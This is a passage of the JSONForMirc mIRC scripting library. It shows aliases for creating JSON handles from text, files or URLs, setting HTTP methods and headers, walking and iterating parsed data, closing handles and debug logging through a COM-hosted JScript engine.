  2344.   elseif (u !isin %Switches) && (w isincs %Switches) { %Error = SWITCH_NOT_APPLICABLE:w }
  2345.   elseif ($0 < 2) { %Error = PARAMETER_MISSING }
  2346.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = NAME_INVALID }
  2347.   elseif ($com(JSON: $+ $1)) { %Error = NAME_INUSE }
  2348.   elseif (u isin %Switches) && ($0 != 2) { %Error = PARAMETER_INVALID:URL_SPACES }
  2349.   elseif (b isincs %Switches) && ($0 != 2) { %Error = PARAMETER_INVALID:BVAR }
  2350.   elseif (b isincs %Switches) && (&* !iswm $2) { %Error = PARAMETER_INVALID:NOT_BVAR }
  2351.   elseif (b isincs %Switches) && (!$bvar($2,0)) { %Error = PARAMETER_INVALID:BVAR_EMPTY }
  2352.   elseif (f isincs %Switches) && (!$isfile($2-)) { %Error = PARAMETER_INVALID:FILE_DOESNOT_EXIST }
  2353.   elseif (f isincs %Switches) && (!$lines($2-)) { %Error = PARAMETER_INVALID:FILE_EMPTY }
  2354.   else {
  2355.     %Com = JSON: $+ $1
  2356.     %BVar = $jfm_TmpBVar
  2357.     if (b isincs %Switches) { %Bvar = $2 | %BUnset = $false }
  2358.     elseif (u isin %Switches) {
  2359.       if (w isincs %Switches) { inc %HttpOptions 1 }
  2360.       if (U isincs %Switches) { inc %HttpOptions 2 }
  2361.       %Type = http
  2362.       bset -t %BVar 1 $2
  2363.     }
  2364.     elseif (f isincs %Switches) { bread $qt($file($2-).longfn) 0 $file($file($2-).longfn).size %BVar }
  2365.     else { bset -t %BVar 1 $2- }
  2366.     jfm_ToggleTimers -p
  2367.     %Error = $jfm_Create(%Com,%Type,%BVar,%HttpOptions)
  2368.     jfm_ToggleTimers -r
  2369.   }
  2370.   :error
  2371.   if ($error) { %Error = $v1 }
  2372.   reseterror
  2373.   if (%BUnset) { bunset %BVar }
  2374.   if (%Error) {
  2375.     hadd -mu0 SReject/JSONForMirc Error %Error
  2376.     if (%Com) && ($com(%Com)) { .timer $+ %Com -iom 1 0 JSONClose $unsafe($1) }
  2377.     jfm_log -EeDF %Error
  2378.   }
  2379.   else {
  2380.     if (d isincs %Switches) { .timer $+ %Com -iom 1 0 JSONClose $unsafe($1) }
  2381.     jfm_log -EsDF Created $1 (as com %Com $+ )
  2382.   }
  2383. }
  2384. alias JSONHttpMethod {
  2385.   if ($isid) { return }
  2386.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2387.   var %Error,%Com,%Method
  2388.   jfm_log -I /JSONHttpMethod $1-
  2389.   if ($jfm_ComInit) { %Error = $v1 }
  2390.   elseif ($0 < 2) { %Error = PARAMETER_MISSING }
  2391.   elseif ($0 > 2) { %Error = PARAMETER_INVALID }
  2392.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = NAME_INVALID }
  2393.   elseif (!$com(JSON: $+ $1)) { %Error = HANDLE_DOES_NOT_EXIST }
  2394.   else {
  2395.     %Com = JSON: $+ $1
  2396.     %Method = $regsubex($2,/(^\s+)|(\s*)$/g,)
  2397.     if (!$len(%Method)) { %Error = INVALID_METHOD }
  2398.     elseif ($jfm_Exec(%Com,httpSetMethod,%Method)) { %Error = $v1 }
  2399.   }
  2400.   :error
  2401.   if ($error) { %Error = $v1 }
  2402.   reseterror
  2403.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2404.   else { jfm_log -EsDF Set Method to $+(',%Method,') }
  2405. }
  2406. alias JSONHttpHeader {
  2407.   if ($isid) { return }
  2408.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2409.   var %Error,%Com,%Header
  2410.   jfm_log -I /JSONHttpHeader $1-
  2411.   if ($jfm_ComInit) { %Error = $v1 }
  2412.   elseif ($0 < 3) { %Error = PARAMETER_MISSING }
  2413.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = INVALID_NAME }
  2414.   elseif (!$com(JSON: $+ $1)) { %Error = HANDLE_DOES_NOT_EXIST }
  2415.   else {
  2416.     %Com = JSON: $+ $1
  2417.     %Header = $regsubex($2,/(^\s+)|(\s*:\s*$)/g,)
  2418.     if (!$len($2)) { %Error = HEADER_EMPTY }
  2419.     elseif ($regex($2,[\r:\n])) { %Error = HEADER_INVALID }
  2420.     elseif ($jfm_Exec(%Com,httpSetHeader,%Header,$3-)) { %Error = $v1 }
  2421.   }
  2422.   :error
  2423.   if ($error) { %Error = $v1 }
  2424.   reseterror
  2425.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2426.   else { jfm_log -EsDF Stored Header $+(',%Header,: $3-,') }
  2427. }
  2428. alias JSONHttpFetch {
  2429.   if ($isid) { return }
  2430.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2431.   var %Switches,%Error,%Com,%BVar,%BUnset
  2432.   jfm_log -I /JSONHttpFetch $1-
  2433.   if (-* iswm $1) { %Switches = $mid($1,2-) | tokenize 32 $2- }
  2434.   if ($jfm_ComInit) { %Error = $v1 }
  2435.   if ($0 == 0) || (%Switches != $null && $0 < 2) { %Error = PARAMETER_MISSING }
  2436.   elseif ($regex(%Switches,([^bf]))) { %Error = SWITCH_INVALID: $+ $regml(1) }
  2437.   elseif ($regex($1,/(?:^\d+$)|[*:? ]/i)) { %Error = NAME_INVALID }
  2438.   elseif (!$com(JSON: $+ $1)) { %Error = HANDLE_DOES_NOT_EXIST }
  2439.   elseif (b isincs %Switches) && (&* !iswm $2 || $0 > 2) { %Error = BVAR_INVALID }
  2440.   elseif (f isincs %Switches) && (!$isfile($2-)) { %Error = FILE_DOESNOT_EXIST }
  2441.   elseif (f isincs %Switches) && (!$lines($2-)) { %Error = FILE_EMPTY }
  2442.   else {
  2443.     %Com = JSON: $+ $1
  2444.     if ($0 > 1) {
  2445.       %BVar = $jfm_TmpBVar
  2446.       %BUnset = $true
  2447.       if (b isincs %Switches) { %BVar = $2 | %BUnset = $false }
  2448.       elseif (f isincs %Switches) { bread $qt($file($2-).longfn) 0 $file($2-).size %BVar }
  2449.       else { bset -t %BVar 1 $2- }
  2450.       %Error = $jfm_Exec(%Com, httpSetData,& %BVar).fromBvar
  2451.     }
  2452.     if (!%Error) { %Error = $jfm_Exec(%Com,parse) }
  2453.   }
  2454.   :error
  2455.   if ($error) { %Error = $error }
  2456.   reseterror
  2457.   if (%BUnset) { bunset %BVar }
  2458.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2459.   else { jfm_log -EsDF Http Data retrieved }
  2460. }
  2461. alias JSONClose {
  2462.   if ($isid) { return }
  2463.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2464.   var %Switches,%Error,%Match,%Com,%X 1
  2465.   jfm_log -I /JSONClose $1-
  2466.   if (-* iswm $1) { %Switches = $mid($1, 2-) | tokenize 32 $2- }
  2467.   if ($0 < 1) { %Error = PARAMTER_MISSING }
  2468.   elseif ($0 > 1) { %Error = PARAMETER_INVALID }
  2469.   elseif ($regex(%Switches,/([^w])/)) { %Error = SWITCH_UNKNOWN: $+ $regml(1) }
  2470.   elseif (: isin $1) && (w isincs %Switches || JSON:* !iswmcs $1) { %Error = PARAMETER_INVALID }
  2471.   else {
  2472.     %Match = $1
  2473.     if (JSON:* iswmcs $1) { %Match = $gettok($1,2-,58) }
  2474.     %Match = $replacecs(%Match,\E,\E\\E\Q)
  2475.     if (w isincs %Switches) { %Match = $replacecs(%Match,?,\E[^:]\Q,*,\E[^:]*\Q) }
  2476.     %Match = /^JSON:\Q $+ %Match $+ \E(?::\d+)?$/i
  2477.     %Match = $replacecs(%Match,\Q\E,)
  2478.     while (%X <= $com(0)) {
  2479.       %Com = $com(%X)
  2480.       if ($regex(%Com,%Match)) {
  2481.         .comclose %Com
  2482.         if ($timer(%Com)) { .timer $+ %Com off }
  2483.         jfm_log Closed %Com
  2484.       }
  2485.       else { inc %X }
  2486.     }
  2487.   }
  2488.   :error
  2489.   if ($error) { %Error = $error }
  2490.   reseterror
  2491.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeD /JSONClose %Error }
  2492.   else { jfm_log -EsD All matching handles closed }
  2493. }
  2494. alias JSONList {
  2495.   if ($isid) { return }
  2496.   var %X 1,%I 0
  2497.   jfm_log /JSONList $1-
  2498.   while ($com(%X)) {
  2499.     if (JSON:?* iswm $v1) { inc %I | echo $color(info) -age * $chr(35) $+ %I $+ : $v2 }
  2500.     inc %X
  2501.   }
  2502.   if (!%I) { echo $color(info) -age * No active JSON handlers }
  2503. }
  2504. alias JSONShutDown {
  2505.   if ($isid) { return }
  2506.   JSONClose -w *
  2507.   if ($JSONDebug) { JSONDebug off }
  2508.   if ($window(@SReject/JSONForMirc/Log)) { close -@ $v1 }
  2509.   if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  2510.   if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  2511.   if ($hget(SReject/JSONForMirc)) { hfree $v1 }
  2512. }
  2513. alias JSON {
  2514.   if (!$isid) { return }
  2515.   if ($hget(SReject/JSONForMirc, Error)) { hdel SReject/JSONForMirc Error }
  2516.   var %X,%Args,%Params,%Error,%Com,%I 0,%Prefix,%Prop,%Suffix,%Offset 2,%Type,%Output,%Result,%ChildCom,%Call
  2517.   if (*ToFile iswm $prop) { %Offset = 3 }
  2518.   if ($JSONDebug) {
  2519.     %X = 1
  2520.     while (%X <= $0) {
  2521.       if (%Args !== $null) { %Args = %Args $+ $chr(44) }
  2522.       %Args = %Args $+ $evalnext($ $+ %X)
  2523.       if (%X >= %Offset) { %Params = %Params $+ ,bstr,$ $+ %X }
  2524.       inc %X
  2525.     }
  2526.   }
  2527.   elseif ($0 >= %Offset) {
  2528.     %X = %Offset
  2529.     while (%X <= $0) { %Params = %Params $+ ,bstr,$ $+ %X | inc %X }
  2530.   }
  2531.   jfm_log -I $!JSON( $+ %Args $+ ) $+ $iif($prop !== $null, . $+ $prop)
  2532.   if (!$0) || ($0 == 1 && $1 == $null) { %Error = PARAMETER_MISSING | goto error }
  2533.   if ($0 == 1) && ($1 == 0) && ($prop !== $null) { %Error = PROP_NOT_APPLICABLE | goto error }
  2534.   if ($regex(name,$1,/^JSON:[^:?*]+(?::\d+)?$/i)) { %Com = $1 }
  2535.   elseif (: isin $1 || * isin $1 || ? isin $1) || ($1 == 0 && $0 !== 1) { %Error = INVALID_NAME }
  2536.   elseif ($1 isnum 0- && . !isin $1) {
  2537.     %X = 1
  2538.     while ($com(%X)) {
  2539.       if ($regex($v1,/^JSON:[^:]+$/)) {
  2540.         inc %I
  2541.         if (%I === $1) { %Com = $com(%X) | break }
  2542.       }
  2543.       inc %X
  2544.     }
  2545.     if ($1 === 0) { jfm_log -EsDF %I | return %I }
  2546.   }
  2547.   else { %Com = JSON: $+ $1 }
  2548.   if (!%Error) && (!$com(%Com)) { %Error = HANDLER_NOT_FOUND }
  2549.   elseif (* isin $prop) || (? isin $prop) { %Error = INVALID_PROP }
  2550.   else {
  2551.     if ($regex($prop, /^((?:fuzzy)?)(.*?)((?:to(?:bvar|file))?)?$/i)) { %Prefix = $regml(1) | %Prop = $regml(2) | %Suffix = $regml(3) }
  2552.     %Prop = $regsubex(%Prop, /^url/i, http)
  2553.     if (%Suffix == tofile) {
  2554.       if ($0 < 2) { %Error = INVALID_PARAMETERS }
  2555.       elseif (!$len($2) || $isfile($2) || (!$regex($2, /[\\\/]/) && " isin $2)) { %Error = INVALID_FILE }
  2556.       else { %Output = $longfn($2) }
  2557.     }
  2558.   }
  2559.   if (%Error) { goto error }
  2560.   elseif ($0 == 1) && (!$prop) { %Result = $jfm_TmpBVar | bset -t %Result 1 %Com }
  2561.   elseif (%Prop == isChild) {
  2562.     %Result = $jfm_TmpBVar
  2563.     if (JSON:?*:?* iswm %com) { bset -t %Result 1 $true }
  2564.     else { bset -t %Result 1 $false }
  2565.   }
  2566.   elseif ($wildtok(state|error|input|inputType|httpParse|httpHead|httpStatus|httpStatusText|httpHeaders|httpBody|httpResponse,%Prop,1,124)) {
  2567.     if ($jfm_Exec(%Com,$v1)) { %Error = $v1 }
  2568.     else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2569.   }
  2570.   elseif (%Prop == httpHeader) {
  2571.     if ($calc($0 - %Offset) < 0) { %Error = INVALID_PARAMETERS }
  2572.     elseif ($jfm_Exec(%Com,httpHeader,$evalnext($ $+ %Offset))) { %Error = $v1 }
  2573.     else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2574.   }
  2575.   elseif (%Prop == $null) || ($wildtok(path|pathLength|type|isContainer|length|value|string|debug, %Prop, 1, 124)) {
  2576.     %Prop = $v1
  2577.     if ($0 >= %Offset) {
  2578.       %ChildCom = JSON: $+ $gettok(%Com,2,58) $+ :
  2579.       %X = $ticks $+ 000000
  2580.       while ($com(%ChildCom $+ %X)) { inc %X }
  2581.       %ChildCom = %ChildCom $+ %X
  2582.       %Call = $!com( $+ %Com $+ ,walk,1,bool, $+ $iif(fuzzy == %Prefix,$true,$false) $+ %Params $+ ,dispatch* %ChildCom $+ )
  2583.       jfm_log %Call
  2584.       if (!$evalnext(%Call)) || ($comerr) || (!$com(%ChildCom)) { %Error = $jfm_GetError | goto error }
  2585.       .timer $+ %ChildCom -iom 1 0 JSONClose %ChildCom
  2586.       %Com = %ChildCom
  2587.       jfm_log
  2588.     }
  2589.     if (!%Prop) { %Result = $jfm_TmpBVar | bset -t %Result 1 %Com }
  2590.     elseif (%Prop !== value) {
  2591.       if ($jfm_Exec(%Com,$v1)) { %Error = $v1 }
  2592.       else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2593.     }
  2594.     elseif ($jfm_Exec(%Com,type)) { %Error = $v1 }
  2595.     elseif ($bvar($hget(SReject/JSONForMirc,Exec),1-).text == object) || ($v1 == array) { %Error = INVALID_TYPE }
  2596.     elseif ($jfm_Exec(%Com,value)) { %Error = $v1 }
  2597.     else { %Result = $hget(SReject/JSONForMirc,Exec) }
  2598.   }
  2599.   else { %Error = UNKNOWN_PROP }
  2600.   if (!%Error) {
  2601.     if (%Suffix == tofile) { bwrite $qt(%Output) -1 -1 %Result | bunset %Result | %Result = %Output }
  2602.     elseif (%Suffix !== tobvar) { %Result = $bvar(%Result,1,4000).text }
  2603.   }
  2604.   :error
  2605.   if ($error) { %Error = $error }
  2606.   reseterror
  2607.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2608.   else { jfm_log -EsDF %Result | return %Result }
  2609. }
  2610. alias JSONForEach {
  2611.   if (!$isid) { return }
  2612.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2613.   var %Error,%Log,%Call,%X 0,%JSON,%Com,%ChildCom,%Result 0,%Name
  2614.   %Log = $!JSONForEach(
  2615.   if ($prop == walk) { %Call = ,forEach,1,bool,$true,bool,$false }
  2616.   elseif ($prop == fuzzy) { %Call = ,forEach,1,bool,$false,bool,$true }
  2617.   else { %Call = ,forEach,1,bool,$false,bool,$false }
  2618.   while (%X < $0) {
  2619.     inc %X
  2620.     %Log = %Log $+ $evalnext($ $+ %X) $+ ,
  2621.     if (%X > 2) { %Call = %Call $+ ,bstr, $+ $ $+ %X }
  2622.   }
  2623.   jfm_log -I $left(%Log,-1) $+ $chr(41) $+ $iif($prop !== $null,. $+ $v1)
  2624.   if ($0 < 2) { %Error = INVAID_PARAMETERS }
  2625.   elseif ($1 == 0) { %Error = INVALID_HANDLER }
  2626.   elseif ($prop !== $null) && ($prop !== walk) && ($prop !== fuzzy) { %Error = INVALID_PROPERTY }
  2627.   elseif ($0 > 2) && ($prop == walk) { %Error = PARAMETERS_NOT_APPLICABLE }
  2628.   elseif (!$1) || ($1 == 0) || (!$regex($1,/^((?:[^?:*]+)|(?:JSON:[^?:*]+(?::\d+)))$/)) { %Error = NAME_INVALID }
  2629.   else {
  2630.     if (JSON:?* iswm $1) { %JSON = $com($1) }
  2631.     elseif ($regex($1,/^\d+$/i)) {
  2632.       %X = 1
  2633.       %JSON = 0
  2634.       while ($com(%X)) {
  2635.         if ($regex($1,/^JSON:[^?*:]+$/)) {
  2636.           inc %JSON
  2637.           if (%JSON == $1) { %JSON = $com(%X) | break }
  2638.           elseif (%X == $com(0)) { %JSON = $null }
  2639.         }
  2640.         inc %X
  2641.       }
  2642.     }
  2643.     else { %JSON = $com(JSON: $+ $1) }
  2644.     if (!%JSON) { %Error = HANDLE_NOT_FOUND }
  2645.     else {
  2646.       %Com = $gettok(%JSON,1-2,58) $+ :
  2647.       %X = $ticks $+ 000000
  2648.       while ($com(%Com $+ %X)) { inc %X }
  2649.       %Com = %Com $+ %X
  2650.       %Call = $!com( $+ %JSON $+ %Call $+ ,dispatch* %Com $+ )
  2651.       jfm_log %Call
  2652.       if (!$evalnext(%Call)) || ($comerr) || (!$com(%Com)) { %Error = $jfm_GetError }
  2653.       else {
  2654.         .timer $+ %Com -iom 1 0 JSONClose $unsafe(%Com)
  2655.         if (!$com(%Com, length, 2)) || ($comerr) { %Error = $jfm_GetError }
  2656.         elseif ($com(%Com).result) {
  2657.           %Result = $v1
  2658.           %X = 0
  2659.           %ChildCom = $gettok(%Com,1-2,58) $+ :
  2660.           %Name = $ticks
  2661.           while ($com(%ChildCom $+ %Name)) { inc %Name }
  2662.           %Name = %ChildCom $+ %Name
  2663.           hinc -m SReject/JSONForMirc ForEach/Index
  2664.           hadd -m SReject/JSONForMirc ForEach/ $+ $hget(SReject/JSONForMirc,ForEach/Index) %Name
  2665.           while (%X < %Result) {
  2666.             if (!$com(%Com,%X,2,dispatch* %Name) || $comerr) { %Error = $jfm_GetError | break }
  2667.             jfm_log -I Calling $1 %Name
  2668.             $2 %Name
  2669.             .comclose %Name
  2670.             jfm_log -D
  2671.             inc %X
  2672.           }
  2673.           hdel SReject/JSONForMirc ForEach/ $+ $hget(SReject/JSONForMirc, ForEach/Index)
  2674.           hdec SReject/JSONForMirc ForEach/Index
  2675.           if ($hget(SReject/JSONForMirc, ForEach/Index) == 0) { hdel SReject/JsonForMirc ForEach/Index }
  2676.         }
  2677.       }
  2678.     }
  2679.   }
  2680.   :error
  2681.   if ($error) { %Error = $error }
  2682.   reseterror
  2683.   if (%Error) {
  2684.     if ($com(%Com)) { .comclose $v1 }
  2685.     if (JSON:* iswm %Name && $com(%Name)) { .comclose %Name }
  2686.     hadd -mu0 SReject/JSONForMirc Error %Error
  2687.     jfm_log -EeDF %Error
  2688.   }
  2689.   else { jfm_log -EsDF %Result | return %Result }
  2690. }
  2691. alias JSONItem {
  2692.   var %Com = $hget(SReject/JSONForMirc,ForEach/ $+ $hget(SReject/JSONForMirc,ForEach/Index)),%Type,%Bvar,%Text
  2693.   if (!$isid || !%Com || !$com(%Com)) { return }
  2694.   if ($1 == Value || $1 == Valuetobvar) {
  2695.     %BVar = $jfm_TmpBVar
  2696.     noop $com(%Com, value, 1) $Com(%Com, %BVar).result
  2697.     if ($1 == valuetobvar) { return %Bvar }
  2698.     %Text = $bvar(%BVar, 1, 4000).text
  2699.     bunset %BVar
  2700.     return %Text
  2701.   }
  2702.   elseif ($1 == Length) { noop $com(%Com, length, 1) | return $com(%Com).result }
  2703.   elseif ($1 == Type || $1 == IsContainer) {
  2704.     noop $com(%Com, type, 1)
  2705.     %Type = $com(%Com).result
  2706.     if ($1 == type) { return %Type }
  2707.     if (%Type == Object || %Type == Array) { return $true }
  2708.     return $false
  2709.   }
  2710. }
  2711. alias JSONPath {
  2712.   if (!$isid) return
  2713.   if ($hget(SReject/JSONForMirc,Error)) { hdel SReject/JSONForMirc Error }
  2714.   var %Error,%Param,%X 0,%JSON,%Result
  2715.   while (%X < $0) { inc %X | %Param = %Param $+ $evalnext($ $+ %X) $+ , }
  2716.   jfm_log -I $!JSONPath( $+ $left(%Param,-1) $+ )
  2717.   if ($0 !== 2) { %Error = INVALID_PARAMETERS }
  2718.   elseif ($prop !== $null) { %Error = PROP_NOT_APPLICABLE }
  2719.   elseif (!$1) || ($1 == 0) || (!$regex($1, /^(?:(?:JSON:[^?:*]+(?::\d+)*)?|([^?:*]+))$/i)) { %Error = NAME_INVALID }
  2720.   elseif ($2 !isnum 0-) || (. isin $2) { %Error = INVALID_INDEX }
  2721.   else {
  2722.     %JSON = $JSON($1)
  2723.     if ($JSONError) { %Error = $v1 }
  2724.     elseif (!%JSON) { %Error = HANDLER_NOT_FOUND }
  2725.     elseif ($JSON(%JSON).pathLength == $null) { %Error = $JSONError }
  2726.     else {
  2727.       %Result = $v1
  2728.       if (!$2) { noop }
  2729.       elseif ($2 > %Result) { unset %Result }
  2730.       elseif (!$com(%JSON, pathAtIndex, 1, bstr, $calc($2 -1))) || ($comerr) { %Error = $jfm_GetError }
  2731.       else { %Result = $com(%JSON).result }
  2732.     }
  2733.   }
  2734.   :error
  2735.   if ($error) { %Error = $v1 }
  2736.   reseterror
  2737.   if (%Error) { hadd -mu0 SReject/JSONForMirc Error %Error | jfm_log -EeDF %Error }
  2738.   else { jfm_log -EsDF %Result | return %Result }
  2739. }
  2740. alias JSONError { if ($isid) { return $replace($hget(SReject/JSONForMirc,Error),$chr(9),$chr(32),$chr(10),$chr(32),$chr(13),$chr(32)) } }
  2741. alias JSONVersion {
  2742.   if ($isid) {
  2743.     var %Ver 1.0.4000
  2744.     if ($0) { return %Ver }
  2745.     return SReject/JSONForMirc v $+ %Ver
  2746.   }
  2747. }
  2748. alias JSONDebug {
  2749.   var %State $false, %Aline aline $color(info2) @SReject/JSONForMirc/Log
  2750.   if ($group(#SReject/JSONForMirc/Log) == on) {
  2751.     if (!$window(@SReject/JSONForMirc/Log)) { .disable #SReject/JSONForMirc/log }
  2752.     else { %State = $true }
  2753.   }
  2754.   if ($isid) { return %State }
  2755.   elseif (!$0) || ($1 == toggle) {
  2756.     if (%State) { tokenize 32 disable }
  2757.     else { tokenize 32 enable }
  2758.   }
  2759.   if ($1 == on) || ($1 == enable) {
  2760.     if (%State) { echo $color(info).dd -atngq * /JSONDebug: debug already enabled | return }
  2761.     .enable #SReject/JSONForMirc/Log
  2762.     %State = $true
  2763.   }
  2764.   elseif ($1 == off) || ($1 == disable) {
  2765.     if (!%State) { echo $color(info).dd -atngq * /JSONDebug: debug already disabled | return }
  2766.     .disable #SReject/JSONForMirc/Log
  2767.     %State = $false
  2768.   }
  2769.   else { echo $color(info).dd -atng * /JSONDebug: Unknown input | return }
  2770.   if (%State) {
  2771.     if (!$window(@SReject/JSONForMirc/Log)) { window -zk0ej10000 @SReject/JSONForMirc/Log }
  2772.     %Aline Debug now enabled - $JSONVersion
  2773.     if ($~adiircexe) { %Aline AdiIRC v $+ $version $iif($beta, beta $builddate) $bits $+ bit }
  2774.     else { %Aline mIRC v $+ $version $iif($beta, beta $v1) $bits $+ bit }
  2775.     %Aline -
  2776.   }
  2777.   elseif ($window(@SReject/JSONForMirc/Log)) { %aline [JSONDebug] Debug now disabled }
  2778.   window -b @SReject/JSONForMirc/Log
  2779. }
  2780. alias -l jfm_TmpBVar {
  2781.   var %N $ticks $+ 00000
  2782.   jfm_log -I $!jfm_TmpBVar
  2783.   while ($bvar(&SReject/JSONForMirc/Tmp $+ %N)) { inc %N }
  2784.   jfm_log -EsD &SReject/JSONForMirc/Tmp $+ %N
  2785.   return &SReject/JSONForMirc/Tmp $+ %N
  2786. }
  2787. alias -l jfm_ComInit {
  2788.   var %Error,%Js $jfm_TmpBVar
  2789.   jfm_log -I $!jfm_ComInit
  2790.   if ($com(SReject/JSONForMirc/JSONShell) && $com(SReject/JSONForMirc/JSONEngine)) { jfm_log -EsD Already Initialized | return }
  2791.   jfm_jscript %Js
  2792.   if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  2793.   if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  2794.   if ($~adiircexe !== $null) && ($bits == 64) { .comopen SReject/JSONForMirc/JSONShell ScriptControl }
  2795.   else { .comopen SReject/JSONForMirc/JSONShell MSScriptControl.ScriptControl }
  2796.   if (!$com(SReject/JSONForMirc/JSONShell)) || ($comerr) { %Error = SCRIPTCONTROL_INIT_FAIL }
  2797.   elseif (!$com(SReject/JSONForMirc/JSONShell, language, 4, bstr, jscript)) || ($comerr) { %Error = LANGUAGE_SET_FAIL }
  2798.   elseif (!$com(SReject/JSONForMirc/JSONShell, AllowUI, 4, bool, $false)) || ($comerr) { %Error = ALLOWIU_SET_FAIL }
  2799.   elseif (!$com(SReject/JSONForMirc/JSONShell, timeout, 4, integer, -1)) || ($comerr) { %Error = TIMEOUT_SET_FAIL }
  2800.   elseif (!$com(SReject/JSONForMirc/JSONShell, ExecuteStatement, 1, &bstr, %Js)) || ($comerr) { %Error = JSCRIPT_EXEC_FAIL }
  2801.   elseif (!$com(SReject/JSONForMirc/JSONShell, Eval, 1, bstr, this, dispatch* SReject/JSONForMirc/JSONEngine)) || ($comerr) || (!$com(SReject/JSONForMirc/JSONEngine)) { %Error = ENGINE_GET_FAIL }
  2802.   :error
  2803.   if ($error) { %Error = $v1 | reseterror }
  2804.   if (%Error) {
  2805.     if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  2806.     if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  2807.     jfm_log -EeD %Error
  2808.     return %Error
  2809.   }
  2810.   else { hadd -m SReject/JSONForMirc bvar 0 | hadd -m SReject/JSONForMirc com 0 | jfm_log -EsD Successfully initialized }
  2811. }
  2812. alias -l jfm_ToggleTimers {
  2813.   var %X 1,%Timer
  2814.   while ($timer(%X)) {
  2815.     %Timer = $v1
  2816.     if ($regex(%Timer,/^JSON:[^\?\*\:]+$/i)) { .timer $+ %Timer $1 }
  2817.     inc %X
  2818.   }
  2819. }
  2820. alias -l jfm_GetError {
  2821.   var %Error = UNKNOWN
  2822.   jfm_log -I $!jfm_GetError
  2823.   if ($com(SReject/JSONForMirc/JSONShell).errortext) { %Error = $v1 }
  2824.   if ($com(SReject/JSONForMirc/JSONShellError)) { .comclose SReject/JSONForMirc/JSONShellError }
  2825.   if ($com(SReject/JSONForMirc/JSONShell,Error,2,dispatch* SReject/JSONForMirc/JSONShellError)) && (!$comerr) && ($com(SReject/JSONForMirc/JSONShellError)) && ($com(SReject/JSONForMirc/JSONShellError,Description,2)) && (!$comerr) && ($com(SReject/JSONForMirc/JSONShellError).result !== $null) { %Error = $v1 }
  2826.   if ($com(SReject/JSONForMirc/JSONShellError)) { .comclose SReject/JSONForMirc/JSONShellError }
  2827.   jfm_log -EsD %Error
  2828.   return %Error
  2829. }
  2830. alias -l jfm_Create {
  2831.   var %Wait $iif(1 & $4,$true,$false),%Parse $iif(2 & $4,$false,$true),%Error
  2832.   jfm_log -I $!jfm_create( $+ $1 $+ , $+ $2 $+ , $+ $3 $+ , $+ $4 $+ , $+ $5 $+ )
  2833.   if (!$com(SReject/JSONForMirc/JSONEngine,JSONCreate,1,bstr,$2,&bstr,$3,bool,%Parse,dispatch* $1)) || ($comerr) || (!$com($1)) { %Error = $jfm_GetError }
  2834.   elseif ($2 !== http) || ($2 == http && !%Wait) { %Error = $jfm_Exec($1,parse) }
  2835.   if (%Error) { jfm_log -EeD %Error | return %Error }
  2836.   jfm_log -EsD Created $1
  2837. }
  2838. alias -l jfm_Exec {
  2839.   var %Args,%Index 0,%Params,%Error
  2840.   if ($hget(SReject/JSONForMirc,Exec)) { hdel SReject/JSONForMirc Exec }
  2841.   while (%Index < $0) {
  2842.     inc %Index
  2843.     %Args = %Args $+ $iif($len(%Args),$chr(44)) $+ $evalnext($ $+ %Index)
  2844.     if (%Index >= 3) {
  2845.       if ($prop == fromBvar) && ($regex($evalnext($ $+ %Index),/^& (&\S+)$/)) { %Params = %Params $+ ,&bstr, $+ $regml(1) }
  2846.       else { %Params = %Params $+ ,bstr,$ $+ %Index }
  2847.     }
  2848.   }
  2849.   %Params = $!com($1,$2,1 $+ %Params $+ )
  2850.   jfm_log -I $!jfm_Exec( $+ %Args $+ )
  2851.   if (!$evalnext(%Params) || $comerr) { %Error = $jfm_GetError | jfm_log -EeD %Error | return %Error }
  2852.   else { hadd -mu0 SReject/JSONForMirc Exec $jfm_TmpBVar | noop $com($1, $hget(SReject/JSONForMirc, Exec)).result | jfm_log -EsD Result stored in $hget(SReject/JSONForMirc,Exec) }
  2853. }
  2854. #SReject/JSONForMirc/Log off
  2855. alias -l jfm_log {
  2856.   var %Switches,%Prefix ->,%Color 03,%Indent
  2857.   if (!$window(@SReject/JSONForMirc/Log)) {
  2858.     .JSONDebug off
  2859.     if ($hget(SReject/JSONForMirc,LogIndent)) { hdel SReject/JSONForMirc LogIndent }
  2860.   }
  2861.   else {
  2862.     if (-?* iswm $1) { %Switches = $mid($1, 2-) | tokenize 32 $2- }
  2863.     if (i isincs %Switches) { hinc -mu1 SReject/JSONForMirc LogIndent }
  2864.     if ($0) {
  2865.       if (E isincs %Switches) { %Prefix = <- }
  2866.       if (e isincs %Switches) { %Color = 04 }
  2867.       elseif (s isincs %Switches) { %Color = 12 }
  2868.       elseif (l isincs %Switches) { %Color = 13 }
  2869.       %Prefix = $chr(3) $+ %Color $+ %Prefix
  2870.       if (F !isincs %Switches) { %Prefix = %Prefix $+ $chr(15) }
  2871.       %Indent = $str($chr(15) $+ $chr(32), $calc($hget(SReject/JSONForMirc, LogIndent) *4))
  2872.       echo -gi $+ $calc(($hget(SReject/JSONForMirc, LogIndent) + 1) * 4 -1) @SReject/JSONForMirc/Log %Indent %Prefix $1-
  2873.     }
